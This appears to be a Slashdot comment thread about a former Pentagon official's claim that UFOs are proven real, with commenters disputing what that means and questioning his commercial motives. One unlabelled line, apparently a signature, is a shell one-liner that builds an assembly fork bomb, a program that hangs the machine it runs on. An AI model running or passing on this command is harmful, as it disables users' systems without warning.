Slashdot Mirror
UFO Existence 'Proven Beyond Reasonable Doubt', Says Former Head of Pentagon Alien Program (newsweek.com)
An anonymous reader shares a Newsweek report: The existence of UFOs had been "proved beyond reasonable doubt," according the head of the secret Pentagon program that analyzed the mysterious aircrafts. In an interview with British broadsheet The Telegraph published on Saturday, Luis Elizondo told the newspaper of the sightings, "In my opinion, if this was a court of law, we have reached the point of 'beyond reasonable doubt.'" "I hate to use the term UFO but that's what we're looking at," he added. "I think it's pretty clear this is not us, and it's not anyone else, so no one has to ask questions where they're from." Elizondo led the U.S. Defense Department's Advanced Aerospace Threat Identification Program, investigating evidence of UFOs and alien life, from 2007 to 2012, when it was shuttered. Its existence was first reported by The New York Times this month.
The existence of UFOs had been "proved beyond reasonable doubt," according the head of the secret Pentagon program that analyzed the mysterious aircrafts.
LOL, no. As much as I'd prefer that there were starfaring alien civilization(s) that have been visiting us (it would irrevocably change the entire paradigm of the human species, hopefully in a positive way), before I'm willing to 'believe' in the Fox Mulder-sort of way, I'll need to see actual alien hardware of some sort: an actual ship, or some piece of tech that absolutely can't have been of human manufacture, or some other hard evidence (like, say, an actual, live, walking-and-talking member of an alien species). Pictures, still or moving, just don't cut it, especially in a day and age where we've got the technology to fake just about anything like that. I can't believe that someone who was allegedly that high up the food chain would say something like this.
Of course they exists. Does not mean they are extraterrestrials.
There are legitimate reasons to disagree with the President on certain policy issues, but you must admit, his hair is magnificent.
You are welcome on my lawn.
> 'll need to see actual alien hardware
He said "UFOs are proven beyond a reasonable doubt". You jumped STRAIGHT to "alien". Why didn't you jump straight to "mole men"? Or the "COBRA" organization from "GI Joe"?
His point is, no one knows where these flying machines are coming from, or who controls them. Extraterrestrial aliens is a pleasing theory for a lot of reasons, but with space being so vast, it barely gives us any information at all- and it tends to blindside other options, such as some tech by a known nation being very advanced and well kept as a secret, or there being unknown human actors with some kind of aeronautical agenda.
He's stating that they've proven beyond a reasonable doubt that they're 'unidentified' and 'flying'. All you need for that is for no governmental bodies to claim them.
I've come to expect the totally unexpected.
For example, if you had described GNOME 3 and systemd to me in 2005, I would have laughed in your face. Yet here we are, only about a decade later, and GNOME 3 and systemd have managed to destroy even Debian GNU/Linux.
Another example is JavaScript. Again, if you had told me in 2005 that people would consider JavaScript to be a good programming language, and would even be using it for server-side programming, I would have laughed in your face. Yet here we are, only about a decade later, and there are fools who actually do try to seriously use JavaScript!
Then there's Rust. If you had told me in 2005 that parts of Firefox would be written in a systems programming language whose community is more focused on things like pronouns and diversity than on anything technical, I would have laughed in your face. Yet here we are, only about a decade later, and there really are programming language communities that care more about "social justice" than they do about technical matters.
So extraterrestrial life doesn't seem so implausible after what I've seen happen with things like systemd, GNOME 3, Debian, JavaScript, Rust and Firefox. In fact, extraterrestrial life would be the sanest of all of those things!
This is such an absurd excerpt from a much more intelligent discussion. The guy is actually entirely stable, and he's 100% right. Flying Objects that have not been identified are 100% real. At no point did he ever imply that they were aliens poking around, but rather that it was "unidentified" it was "flying" and presumably it was an "object." If he were not in the news, his job would be called "intelligence." You know, the identification of unidentified things.
A UFO can simply be a plane with a broken radio. So, yes, beyond reasonable doubt, UFOs are legit.
Every so often I'll make the mistake of starting to watch one, because the idea is intriguing. And every time I do that, every single time it pisses me off.
These things piss me off because I really, really want it to be true. I want to believe we can make contact with alien civilizations; that FTL travel is not only possible, but practical. That we might someday look on the galaxy as sixteenth century explorers looked at our planet.
Consequently stupid, credulous bullshit really pisses me off. I can't even abide unwarranted leaps of faith. All I ask for is one incident, just one, thoroughly and critically investigated, in which nobody is able to come up with a terrestrial explanation good enough for skeptic.
Post may contain irony: discontinue use if experiencing mood swings, nausea or elevated blood pressure.
So they just come here and fly around? Why have they not colonized? 83k claimed sightings this year alone...and they just come and fly around.
Of course UFO's (Unidentified Flying Objects) exist! It has been proven beyond a reasonable doubt! However, there is absolutely no proof of Extra-Terrestrials piloting them.
You really should read the books on that subject, as you didn't explain the operation very well.
Hughes was the cover, the CIA made up the story.
My father worked on it, got a Presidential Commendation for his work, after it became public knowledge.
Actual undersea mining took place as part of the cover story, I still have a handful of those Manganese nodules (they look like little black and gray cauliflowers).
Again, if you had told me in 2005 that people would consider JavaScript to be a good programming language, and would even be using it for server-side programming, I would have laughed in your face.
And if you'd asked me in 2005, I could have saved you some embarrassment about a dozen years later by informing you that JavaScript had by that time already been in use on the server for about ten years.
Il n'y a pas de Planet B.
Really? This is hard to understand? The great white elephant that is national security has been ridden as far as it can go; it now is facing backlash (I mean, when the people you hire are unaware that the 'D.C.' abbreviation stands for 'District of Columbia,' you, as a Federal Senator / Representative / Lobbyist / etc., are on some really shaky, and potentially dangerous (to yourself) ground).
So, they are going for a new (and potentially safer, longer lasting) white elephant: space defense / security. Defense contracts that will employ hundreds of millions of people for 'threats' that may or may not exist...like certain forms of 'terrorism'...except without the accidental identification of human beings as potential targets (gotta make sure the aliens are alien enough). NASA will, no doubt, get a giant shot in the arm, to upgrade their observatories, to keep their eyes peeled for any 'strange' asteroids and what not.
Provided we don't actually encounter any aliens, or have encountered any, we are relatively safe from annihilation / self-annihilation for probably the next century. Which by then we will have a working fusion reactor, and a warp engine, and can focus on space colonization, instead of weaponization.
a little googling and I found 'After his resignation, Elizondo joined To the Stars Academy of Arts and Science, a for-profit company that raises money for UFO research and studies UFO sightings. Elizondo is listed as director of global security and special programs. The company officially launched in October.'
> As much as I'd prefer that there were starfaring alien civilization...
Elizondo didn't say they were aliens; he said they were UFOs. I've heard a few Air Force pilots opine on this same topic: they believe there's definitely some strange phenomenon that we don't understand. Not necessarily aliens, but something.
I hope that after I die the one word people use to describe me is "resurrected."
This story is getting flogged to death by click bait sites and nutters trying to turn a scam, with multiple scammers, into "Aliens!"
But let's look at what the news reports really show.
That secret "Advanced Aerospace Threat Identification Program" first reported in the New York Times? Here is what that NYT says:
The shadowy program — parts of it remain classified — began in 2007, and initially it was largely funded at the request of Harry Reid, the Nevada Democrat who was the Senate majority leader at the time and who has long had an interest in space phenomena. Most of the money went to an aerospace research company run by a billionaire entrepreneur and longtime friend of Mr. Reid’s, Robert Bigelow.
So, this program existed because a powerful politician - wanting to channel millions of dollars to a rich friend - 'requested' that it be created.
Meanwhile the Mr. Elizondo who led this program just retired and is now talking about it openly. This even though "Mr. Elizondo said that the effort continued and that he had a successor, whom he declined to name.", in other words he is talking openly about an on-going program that he is supposedly highly classified. What is Mr. Elizondo up to now? Why this:
Mr. Elizondo has now joined Mr. Puthoff and another former Defense Department official, Christopher K. Mellon, who was a deputy assistant secretary of defense for intelligence, in a new commercial venture called To the Stars Academy of Arts and Science. They are speaking publicly about their efforts as their venture aims to raise money for research into U.F.O.s.
So now he is making (err, raising) money off of his claims in a private commercial venture!
I looked at the video released to support his claims and is posted on-line (the only one available last I checked, although he is claiming to have released three). The image in the cockpit display (assuming it is authentic and not doctored in any way) stays dead center the whole time in the display as it moves in the sky. We never see (as the Washington Post story would have it): "The strange aircraft ... appear to hover briefly before sprinting away at speeds that elicit gasps and shouts from the pilots." That is not on the video. Why not, if they have this amazing evidence?
Starships were meant to fly, Hands up and touch the sky - Nicky Minaj
He took over from Obama because orange is the new black.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
It's a bit more than that.
He's asserting flight characteristics that are simply not possible with any known tech.
It's been a common dismissal to say, "well these things could be secret next-gen military craft". He's basically saying "no, they're really not".
"Mind, as manifested by the capacity to make choices, is to some extent present in every electron." -Freeman Dyson